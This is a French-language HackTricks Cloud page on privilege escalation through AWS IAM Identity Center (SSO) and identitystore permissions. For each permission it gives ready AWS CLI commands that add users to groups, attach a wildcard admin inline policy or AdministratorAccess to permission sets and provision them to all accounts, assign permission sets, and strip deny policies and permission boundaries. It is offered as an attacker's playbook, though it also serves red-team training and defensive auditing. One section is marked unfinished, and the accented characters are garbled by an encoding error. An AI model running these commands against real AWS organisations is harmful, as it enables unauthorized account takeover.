AWS - SSO & identitystore Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
AWS Identity Center / AWS SSO
Pour plus dâinformations sur AWS Identity Center / AWS SSO, consultez :
AWS - IAM, Identity Center & SSO Enum
Warning
Notez que, par dĂ©faut, seuls les utilisateurs disposant de permissions du Management Account pourront accĂ©der et contrĂŽler lâIAM Identity Center.
Les utilisateurs dâautres comptes ne peuvent le faire que si le compte est un Delegated Administrator.
Check the docs for more info.
Réinitialiser le mot de passe
Une maniĂšre simple dâescalader les privilĂšges dans ce genre de cas serait dâavoir une permission permettant de rĂ©initialiser les mots de passe des utilisateurs. Malheureusement, il nâest possible que dâenvoyer un e-mail Ă lâutilisateur pour rĂ©initialiser son mot de passe, donc vous auriez besoin dâaccĂ©der Ă lâe-mail de lâutilisateur.
identitystore:CreateGroupMembership
Avec cette permission, il est possible dâajouter un utilisateur Ă un groupe afin quâil hĂ©rite de toutes les permissions du groupe.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est accordé à un user sous son contrÎle
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Un attaquant disposant de cette permission pourrait accorder des autorisations supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrÎle.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Un attaquant disposant de cette permission pourrait accorder des permissions supplémentaires à un Permission Set qui est attribué à un utilisateur sous son contrÎle.
Warning
Pour abuser de ces permissions dans ce cas, vous devez connaĂźtre le nom dâune customer managed policy qui est prĂ©sente DANS TOUS les comptes qui seront affectĂ©s.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Un attaquant ayant cette autorisation pourrait attribuer un Permission Set Ă un utilisateur quâil contrĂŽle sur un compte.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Renvoie les identifiants temporaires STS pour un rĂŽle donnĂ© attribuĂ© Ă lâutilisateur.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Cependant, vous avez besoin dâun access token que je ne sais pas comment obtenir (TODO).
sso:DetachManagedPolicyFromPermissionSet
Un attaquant disposant de cette permission peut supprimer lâassociation entre un managed policy AWS et le permission set spĂ©cifiĂ©. Il est possible dâobtenir plus de privilĂšges en dĂ©tachant un managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Un attacker disposant de cette permission peut supprimer lâassociation entre une Customer managed policy et le permission set spĂ©cifiĂ©. Il est possible dâaccorder davantage de privilĂšges en dĂ©tachant une managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Un attaquant disposant de cette permission peut supprimer les permissions dâune inline policy du permission set. Il est possible dâaccorder davantage de privilĂšges en dĂ©tachant une inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Un attaquant disposant de cette permission peut supprimer le Permission Boundary du permission set. Il est possible dâaccorder plus de privilĂšges en supprimant les restrictions sur le Permission Set imposĂ©es par le Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

